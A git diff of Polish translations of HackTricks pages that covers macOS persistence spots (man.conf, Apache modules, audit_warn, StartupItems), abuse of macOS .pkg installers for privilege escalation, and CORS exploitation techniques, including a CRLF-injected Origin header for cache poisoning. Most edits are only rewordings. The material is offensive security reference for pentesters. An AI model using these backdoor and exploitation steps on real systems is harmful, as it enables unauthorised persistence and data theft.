-I następnie **grupa personelu powinna mieć dostęp sudo** (odczytaj `/etc/sudoers`, aby potwierdzić).
+I następnie **grupa personelu powinna mieć dostęp do sudo** (odczytaj `/etc/sudoers`, aby potwierdzić).
### Man.conf
-Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
+Opis: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
* Ale musisz być rootem, a użytkownik musi używać man
@@ -1388,9 +1388,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
* Wymagany jest dostęp roota
* **`/private/etc/man.conf`**: Za każdym razem, gdy jest używane man
-#### Opis i Wykorzystanie
+#### Opis & Wykorzystanie
-Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżkę do wykonywalnego pliku można zmodyfikować, aby za każdym razem, gdy użytkownik używa man do czytania dokumentów, uruchamiany był backdoor.
+Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje na binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżkę do wykonywalnego pliku można zmodyfikować, aby za każdym razem, gdy użytkownik używa man do czytania dokumentów, uruchamiany był backdoor.
Na przykład ustaw w **`/private/etc/man.conf`**:
```
@@ -1416,7 +1416,7 @@ touch /tmp/manconf
#### Lokalizacja
* **`/etc/apache2/httpd.conf`**
-* Wymagane uprawnienia roota
+* Wymagany dostęp jako root
* Wywołanie: Gdy Apache2 jest uruchamiany
#### Opis & Wykorzystanie
@@ -1427,7 +1427,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
-W ten sposób twoje skompilowane moduły zostaną załadowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać go ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i go **podpisać**.
+W ten sposób Twoje skompilowane moduły zostaną załadowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać je ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i **podpisać** go nim.
Następnie, jeśli to konieczne, upewnij się, że serwer zostanie uruchomiony, wykonując:
```bash
@@ -1461,20 +1461,20 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.git
#### Opis i Wykorzystanie
-Za każdym razem, gdy auditd wykryje ostrzeżenie, skrypt **`/etc/security/audit_warn`** jest **wykonywany**. Możesz więc dodać swój ładunek do niego.
+Za każdym razem, gdy auditd wykryje ostrzeżenie, skrypt **`/etc/security/audit_warn`** jest **wykonywany**. Możesz więc dodać swój ładunek w tym miejscu.
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
### Elementy uruchamiania
{% hint style="danger" %}
-**Jest to przestarzałe, więc nie powinno być tam nic znalezionego.**
+**To jest przestarzałe, więc nie powinno być nic znalezionego w tych katalogach.**
{% endhint %}
-**StartupItem** to katalog, który powinien znajdować się w `/Library/StartupItems/` lub `/System/Library/StartupItems/`. Po utworzeniu tego katalogu musi on zawierać dwa konkretne pliki:
+Katalog **StartupItem** powinien znajdować się w `/Library/StartupItems/` lub `/System/Library/StartupItems/`. Po utworzeniu tego katalogu musi zawierać dwa konkretne pliki:
1. Skrypt **rc**: Skrypt powłoki wykonywany podczas uruchamiania.
-2. Plik **plist**, o nazwie `StartupParameters.plist`, który zawiera różne ustawienia konfiguracyjne.
+2. Plik **plist**, nazwany specjalnie `StartupParameters.plist`, który zawiera różne ustawienia konfiguracyjne.
Upewnij się, że zarówno skrypt rc, jak i plik `StartupParameters.plist` są poprawnie umieszczone w katalogu **StartupItem**, aby proces uruchamiania mógł je rozpoznać i wykorzystać.
@@ -1498,27 +1498,21 @@ Upewnij się, że zarówno skrypt rc, jak i plik `StartupParameters.plist` są p
```
{% endtab %}
-{% tab title="superservicename" %}
+{% tab title="superservicename" %}Ważne usługi systemowe, które uruchamiają się automatycznie po uruchomieniu systemu, można znaleźć w różnych lokalizacjach na macOS. Poniżej znajduje się lista głównych miejsc, w których można znaleźć takie usługi:
-### Lokalizacje automatycznego uruchamiania w macOS
+1. **LaunchAgents**: Usługi specyficzne dla użytkownika, uruchamiane po zalogowaniu. Znajdują się w katalogu `~/Library/LaunchAgents/`.
-W systemie macOS istnieje wiele miejsc, w których można skonfigurować aplikacje do automatycznego uruchamiania po zalogowaniu. Poniżej znajduje się lista głównych lokalizacji, w których można znaleźć takie konfiguracje:
+2. **LaunchDaemons**: Usługi systemowe, uruchamiane podczas startu systemu. Znajdują się w katalogu `/Library/LaunchDaemons/`.
-1. **Folder Login Items**: Można go znaleźć w ustawieniach systemowych w sekcji "Users & Groups". Aplikacje dodane do tego folderu uruchamiają się automatycznie po zalogowaniu.
+3. **StartupItems**: Starszy sposób uruchamiania usług, obecnie mniej powszechny. Znajdują się w katalogu `/Library/StartupItems/`.
-2. **Folder LaunchAgents**: Znajduje się w `/Library/LaunchAgents` lub `~/Library/LaunchAgents`. Tutaj można znaleźć pliki konfiguracyjne, które uruchamiają się przy każdym logowaniu.
+4. **Login Items**: Aplikacje uruchamiane po zalogowaniu do konta użytkownika. Można je znaleźć w Preferencjach Systemowych w sekcji "Users & Groups".
-3. **Folder LaunchDaemons**: Znajduje się w `/Library/LaunchDaemons`. Podobnie jak w przypadku LaunchAgents, pliki w tym folderze uruchamiają się przy każdym uruchomieniu systemu.
+5. **Cron Jobs**: Zadania zaplanowane do wykonania o określonych porach. Można je sprawdzić za pomocą polecenia `crontab -l`.
-4. **Folder StartupItems**: Znajduje się w `/Library/StartupItems`. Jest to stary sposób dodawania aplikacji do automatycznego uruchamiania i nie jest zalecany w nowszych wersjach macOS.
+6. **XPC Services**: Usługi komunikujące się z aplikacjami w tle. Informacje o nich znajdują się w plikach `.xpc` w katalogach aplikacji.
-5. **Cron Jobs**: Można je skonfigurować za pomocą `crontab -e` w terminalu. Cron Jobs pozwalają na uruchamianie poleceń o określonych godzinach, co może być wykorzystane do automatycznego uruchamiania aplikacji.
-
-6. **Folder LoginHook**: Znajduje się w `/Library/Security/SecurityAgentPlugins/LoginHook`. Można tutaj umieścić skrypt, który zostanie wykonany po zalogowaniu.
-
-Pamiętaj, że kontrola tych lokalizacji jest istotna dla zapewnienia bezpieczeństwa systemu macOS. Złośliwe aplikacje mogą próbować ukryć się w tych miejscach, aby uruchamiać się automatycznie i działać w tle. Dlatego regularne sprawdzanie i monitorowanie tych lokalizacji jest zalecane.
-
-{% endtab %}
+Pamiętaj, że kontrola i monitorowanie tych automatycznych startów usług może pomóc w zabezpieczeniu systemu macOS.{% endtab %}
```bash
#!/bin/sh
. /etc/rc.common
@@ -1540,7 +1534,7 @@ RunService "$1"
### ~~emond~~
{% hint style="danger" %}
-Nie mogę znaleźć tego komponentu w moim systemie macOS, więc dla dalszych informacji sprawdź opis
+Nie mogę znaleźć tego komponentu w moim systemie macOS, więc dla więcej informacji sprawdź opis
{% endhint %}
Opis: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
@@ -1568,7 +1562,7 @@ XQuartz **nie jest już instalowany w macOS**, więc jeśli chcesz uzyskać wię
### ~~kext~~
{% hint style="danger" %}
-Jest tak skomplikowane zainstalowanie kext nawet jako root, że nie będę tego rozważał jako ucieczkę z piaskownicy ani do trwałości (chyba że masz exploit)
+Jest tak skomplikowane zainstalowanie kext nawet jako root, że nie będę tego rozważał jako sposób na ucieczkę z piaskownicy ani na trwałość (chyba że masz exploit)
{% endhint %}
#### Lokalizacja
@@ -1588,7 +1582,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
-Aby uzyskać więcej informacji na temat [**rozszerzeń jądra, sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
+Dla więcej informacji na temat [**rozszerzeń jądra sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~
@@ -1601,7 +1595,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.git
#### Opis i eksploatacja
-Wygląda na to, że `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego pliku binarnego, eksponując usługę XPC... problem polegał na tym, że plik binarny nie istniał, więc można było umieścić tam coś własnego, a gdy usługa XPC zostanie wywołana, zostanie wywołany twój plik binarny.
+Wygląda na to, że `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego pliku binarnego, eksponując usługę XPC... problem polegał na tym, że plik binarny nie istniał, więc można było umieścić tam coś innego, a gdy usługa XPC zostanie wywołana, zostanie wywołany twój plik binarny.
Nie mogę już znaleźć tego w moim macOS.
@@ -1613,7 +1607,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.git
* **`/Library/Preferences/Xsan/.xsanrc`**
* Wymagane uprawnienia roota
-* **Wywołanie**: Gdy usługa jest uruchamiana (rzadko)
+* **Wyzwalacz**: Gdy usługa jest uruchamiana (rzadko)
#### Opis i eksploatacja
@@ -1725,7 +1719,7 @@ esac
-Zacznij od zera i zostań ekspertem od hakowania AWS dziękihtARTE (HackTricks AWS Red Team Expert)!
+Zdobądź wiedzę na temat hakowania AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md
index 293758d72..e42e3daa9 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md
@@ -1,34 +1,36 @@
-# Wykorzystywanie instalatorów macOS
+# Nadużycia instalatorów macOS
-Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Nauka hakowania AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
-## Podstawowe informacje o plikach Pkg
+## Podstawowe informacje o Pkg
-Plik instalatora macOS (znany również jako plik `.pkg`) to format pliku używany przez macOS do **dystrybucji oprogramowania**. Te pliki są jak **pudełko, które zawiera wszystko, czego potrzebuje kawałek oprogramowania**, aby zainstalować i działać poprawnie.
+Plik instalatora macOS (znany również jako plik `.pkg`) to format pliku używany przez macOS do **dystrybucji oprogramowania**. Te pliki są jak **pudełko, które zawiera wszystko, czego potrzebuje** kawałek oprogramowania do poprawnej instalacji i działania.
-Sam plik pakietu to archiwum, które zawiera **hierarchię plików i katalogów, które zostaną zainstalowane na docelowym** komputerze. Może również zawierać **skrypty**, które wykonują zadania przed i po instalacji, takie jak konfigurowanie plików konfiguracyjnych lub usuwanie starych wersji oprogramowania.
+Sam plik pakietu to archiwum, które przechowuje **hierarchię plików i katalogów, które zostaną zainstalowane na docelowym** komputerze. Może również zawierać **skrypty** do wykonywania zadań przed i po instalacji, takie jak konfigurowanie plików konfiguracyjnych lub czyszczenie starych wersji oprogramowania.
### Hierarchia
-* **Distribution (xml)**: Dostosowania (tytuł, tekst powitalny...) i skrypt/sprawdzanie instalacji
+* **Dystrybucja (xml)**: Dostosowania (tytuł, tekst powitalny...) i skrypt/sprawdzanie instalacji
* **PackageInfo (xml)**: Informacje, wymagania instalacji, lokalizacja instalacji, ścieżki do skryptów do uruchomienia
-* **Bill of materials (bom)**: Lista plików do zainstalowania, aktualizacji lub usunięcia wraz z uprawnieniami do plików
-* **Payload (archiwum CPIO skompresowane gzipem)**: Pliki do zainstalowania w `install-location` z PackageInfo
-* **Skrypty (archiwum CPIO skompresowane gzipem)**: Skrypty przed i po instalacji oraz inne zasoby wyodrębnione do tymczasowego katalogu w celu wykonania.
+* **Spis materiałów (bom)**: Lista plików do zainstalowania, aktualizacji lub usunięcia z uprawnieniami do plików
+* **Zawartość (archiwum CPIO gzip)**: Pliki do zainstalowania w `install-location` z PackageInfo
+* **Skrypty (archiwum CPIO gzip)**: Skrypty przed i po instalacji oraz więcej zasobów wypakowanych do tymczasowego katalogu do wykonania.
+
+### Dekompresja
```bash
# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
@@ -42,49 +44,49 @@ xar -xf "/path/to/package.pkg"
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
```
+Aby zwizualizować zawartość instalatora bez ręcznego dekompresowania, można również skorzystać z darmowego narzędzia [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
+
## Podstawowe informacje o plikach DMG
-Pliki DMG, czyli Apple Disk Images, to format pliku używany przez system macOS firmy Apple do obrazów dysków. Plik DMG to w zasadzie **montowalny obraz dysku** (zawiera własny system plików), który zawiera surowe dane blokowe, zwykle skompresowane i czasami zaszyfrowane. Gdy otworzysz plik DMG, macOS **montuje go jak fizyczny dysk**, umożliwiając dostęp do jego zawartości.
+Pliki DMG, czyli Obrazy Dysków Apple, to format pliku używany przez macOS firmy Apple do obrazów dysków. Plik DMG to w zasadzie **montowalny obraz dysku** (zawiera własny system plików), który zawiera surowe dane blokowe, zazwyczaj skompresowane i czasami zaszyfrowane. Gdy otworzysz plik DMG, macOS **montuje go jakby był fizycznym dyskiem**, pozwalając na dostęp do jego zawartości.
### Hierarchia
-Hierarchia pliku DMG może być różna w zależności od zawartości. Jednak w przypadku plików DMG aplikacji, zazwyczaj ma ona następującą strukturę:
+Hierarchia pliku DMG może być różna w zależności od zawartości. Jednakże, dla plików DMG aplikacji, zazwyczaj podąża ona za tą strukturą:
-* Poziom główny: To jest korzeń obrazu dysku. Zazwyczaj zawiera aplikację i ewentualnie odnośnik do folderu Applications.
-* Aplikacja (.app): To jest właściwa aplikacja. W systemie macOS aplikacja to zazwyczaj paczka zawierająca wiele pojedynczych plików i folderów, które tworzą aplikację.
-* Odnośnik do aplikacji: To jest skrót do folderu Applications w systemie macOS. Jego celem jest ułatwienie instalacji aplikacji. Możesz przeciągnąć plik .app na ten skrót, aby zainstalować aplikację.
+* Poziom Główny: To jest główny katalog obrazu dysku. Zazwyczaj zawiera aplikację i ewentualnie odnośnik do folderu Aplikacje.
+* Aplikacja (.app): To jest właściwa aplikacja. W macOS aplikacja to zazwyczaj pakiet zawierający wiele indywidualnych plików i folderów tworzących aplikację.
+* Odnośnik do Aplikacji: To jest skrót do folderu Aplikacje w macOS. Ma to ułatwić instalację aplikacji. Możesz przeciągnąć plik .app na ten skrót, aby zainstalować aplikację.
-## Eskalacja uprawnień poprzez nadużycie plików pkg
+## Eskalacja uprawnień poprzez nadużycie pkg
### Wykonywanie z publicznych katalogów
-Jeśli skrypt instalacyjny przed lub po instalacji jest na przykład wykonywany z **`/var/tmp/Installerutil`**, atakujący może kontrolować ten skrypt i wykorzystać go do eskalacji uprawnień za każdym razem, gdy zostanie wykonany. Innym podobnym przykładem jest:
+Jeśli skrypt instalacyjny przed lub po instalacji wykonuje się na przykład z **`/var/tmp/Installerutil`**, a atakujący może kontrolować ten skrypt, może on eskalować uprawnienia za każdym razem, gdy zostanie wykonany. Lub inny podobny przykład:
### AuthorizationExecuteWithPrivileges
-Jest to [publiczna funkcja](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), którą wiele programów instalacyjnych i aktualizatorów wywołuje, aby **wykonać coś jako root**. Ta funkcja przyjmuje jako parametr **ścieżkę** do **pliku**, który ma zostać **wykonany**, jednak jeśli atakujący może **zmodyfikować** ten plik, będzie mógł **nadużyć** jego wykonania jako root do **eskalacji uprawnień**.
+Jest to [publiczna funkcja](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), którą kilka instalatorów i aktualizatorów wywołuje, aby **wykonać coś jako root**. Ta funkcja przyjmuje **ścieżkę** do **pliku**, który ma być **wykonany** jako parametr, jednakże, jeśli atakujący mógłby **zmodyfikować** ten plik, będzie mógł **nadużyć** jego wykonanie jako root do **eskalacji uprawnień**.
```bash
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
```
-Aby uzyskać więcej informacji, sprawdź tę prezentację: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
-
### Wykonanie poprzez montowanie
-Jeśli instalator zapisuje pliki w `/tmp/fixedname/bla/bla`, możliwe jest **utworzenie montażu** nad `/tmp/fixedname` bez właściciela, dzięki czemu można **modyfikować dowolny plik podczas instalacji** w celu nadużycia procesu instalacji.
+Jeśli instalator zapisuje do `/tmp/fixedname/bla/bla`, można **utworzyć montowanie** nad `/tmp/fixedname` bez właścicieli, dzięki czemu można **modyfikować dowolny plik podczas instalacji**, aby nadużyć procesu instalacji.
-Przykładem tego jest **CVE-2021-26089**, który umożliwiał **nadpisanie skryptu okresowego**, aby uzyskać wykonanie jako root. Aby uzyskać więcej informacji, zapoznaj się z prezentacją: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
+Przykładem tego jest **CVE-2021-26089**, który zdołał **nadpisać skrypt okresowy**, aby uzyskać wykonanie jako root. Aby uzyskać więcej informacji, zapoznaj się z prezentacją: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg jako złośliwe oprogramowanie
-### Pusta ładowność
+### Pusta ładunek
-Możliwe jest wygenerowanie pliku **`.pkg`** zawierającego **skrypty przed i po instalacji** bez żadnej ładowności.
+Możliwe jest po prostu wygenerowanie pliku **`.pkg`** z **skryptami przed i po instalacji** bez żadnego ładunku.
### JS w pliku Distribution xml
@@ -92,21 +94,7 @@ Możliwe jest dodanie tagów **`
```
-### Wykorzystywanie pochodzenia `null`
+### Wykorzystanie pochodzenia `null`
-Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje umożliwiają na białej liście to pochodzenie w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframe w piaskownicy, co umożliwia ominięcie ograniczeń CORS.
+Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframu, co umożliwia ominięcie ograniczeń CORS.
```html
```
-### Techniki obejścia wyrażeń regularnych
+### Techniki bypassowania wyrażeń regularnych
-Podczas napotkania białej listy domen ważne jest przetestowanie możliwości obejścia, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą pomijać niuanse w konwencjach nazewnictwa domen, co stwarza kolejne możliwości obejścia.
+Podczas napotkania białej listy domen ważne jest przetestowanie możliwości bypassowania, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą przeoczyć niuanse w konwencjach nazewnictwa domen, co stwarza dodatkowe możliwości bypassowania.
-### Zaawansowane techniki obejścia wyrażeń regularnych
+### Zaawansowane techniki bypassowania wyrażeń regularnych
-Wzorce regex zwykle skupiają się na znakach alfanumerycznych, kropce (.) i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona w taki sposób, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce regex, może obejść kontrole bezpieczeństwa. Sposób, w jaki Safari, Chrome i Firefox obsługują znaki podkreślenia w subdomenach, ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.
+Wzorce Regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropce (.), i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona tak, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce Regex, może ominąć kontrole bezpieczeństwa. Obsługa znaków podkreślenia w subdomenach przez Safari, Chrome i Firefox ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.
-**Aby uzyskać więcej informacji i ustawień dotyczących tego rodzaju obejścia, sprawdź:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
+**Aby uzyskać więcej informacji na temat tego sprawdzenia bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
-![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
+![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
-### Z wykorzystaniem XSS wewnątrz subdomeny
+### Od XSS wewnątrz subdomeny
-Programiści często wprowadzają mechanizmy obronne, aby chronić się przed wykorzystaniem CORS poprzez uwzględnienie na białej liście domen, które mają uprawnienia do żądania informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest w pełni niezawodne. Obecność nawet jednej podatnej subdomeny na liście domen z białej listy może otworzyć drzwi do wykorzystania CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).
+Programiści często implementują mechanizmy obronne, aby chronić się przed eksploatacją CORS poprzez uwzględnienie na białej liście domen, które mają zezwolenie na żądanie informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest niezawodne. Obecność nawet jednej podatnej subdomeny wśród domen z białej listy może otworzyć drzwi do eksploatacji CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).
-Aby to zilustrować, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście, aby uzyskać dostęp do zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera może wyglądać tak:
+Dla przykładu, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście do uzyskiwania zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera mogłaby wyglądać mniej więcej tak:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@@ -210,44 +206,42 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
-W tej konfiguracji, wszystkie subdomeny `requester.com` mają dozwolony dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana poprzez podatność na XSS, atakujący może wykorzystać tę słabość. Na przykład, atakujący mający dostęp do `sub.requester.com` może wykorzystać podatność na XSS, aby ominąć polityki CORS i nielegalnie uzyskać dostęp do zasobów na `provider.com`.
-
+W tej konfiguracji wszystkie subdomeny `requester.com` mają zezwolenie na dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana z podatnością XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do `sub.requester.com` mógłby wykorzystać podatność XSS do obejścia zasad CORS i złośliwie uzyskać dostęp do zasobów na `provider.com`.
### **Zatrucie pamięci podręcznej po stronie serwera**
-**[Z tej publikacji naukowej](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
+[**Z tej publikacji**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-Możliwe jest, że poprzez wykorzystanie zatrucia pamięci podręcznej po stronie serwera za pomocą wstrzyknięcia nagłówka HTTP, można wywołać przechowywaną podatność na Cross-Site Scripting (XSS). Ten scenariusz rozgrywa się, gdy aplikacja nie oczyszcza nagłówka `Origin` z niedozwolonych znaków, co tworzy podatność szczególnie dla użytkowników przeglądarek Internet Explorer i Edge. Te przeglądarki traktują znak `\r` (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzyknięcie nagłówka HTTP.
+Istnieje możliwość wykorzystania zatrucia pamięci podręcznej po stronie serwera poprzez wstrzyknięcie nagłówka HTTP, co może spowodować wywołanie przechowywanej podatności na Cross-Site Scripting (XSS). Ten scenariusz ma miejsce, gdy aplikacja nie oczyszcza nagłówka `Origin` z nielegalnych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzykiwanie nagłówków HTTP.
-Rozważmy następujące żądanie, w którym manipulowany jest nagłówek `Origin`:
-```text
+Rozważmy poniższe żądanie, w którym nagłówek `Origin` jest manipulowany:
+```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer i Edge interpretują odpowiedź jako:
-```text
+```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
-Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnie sformułowanego nagłówka przez przeglądarkę internetową nie jest możliwe, można jednak ręcznie wygenerować spreparowane żądanie za pomocą narzędzi takich jak Burp Suite. Metoda ta może prowadzić do zapisania odpowiedzi w pamięci podręcznej serwera i nieumyślnego jej udostępnienia innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często związane z podatnościami XSS ze względu na możliwość kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
+Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnego nagłówka przez przeglądarkę internetową nie jest wykonalne, można ręcznie generować spreparowane żądania za pomocą narzędzi takich jak Burp Suite. Ta metoda może spowodować, że serwerowa pamięć podręczna zapisze odpowiedź i nieumyślnie udostępni ją innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często kojarzone z podatnościami XSS ze względu na zdolność kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
-Aby dowiedzieć się więcej na temat podatności XSS przechowywanych, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
-
-**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie pamięci podręcznej po stronie serwera, podkreśla kluczowe znaczenie walidacji i oczyszczania wszelkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model zabezpieczeń, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.
+Aby uzyskać więcej informacji na temat podatności stored XSS, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
+**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie serwerowej pamięci podręcznej, podkreśla kluczowe znaczenie walidacji i oczyszczania wszystkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.
### **Zatrucie pamięci podręcznej po stronie klienta**
-**[Z tej publikacji](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
+[Z tej publikacji](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
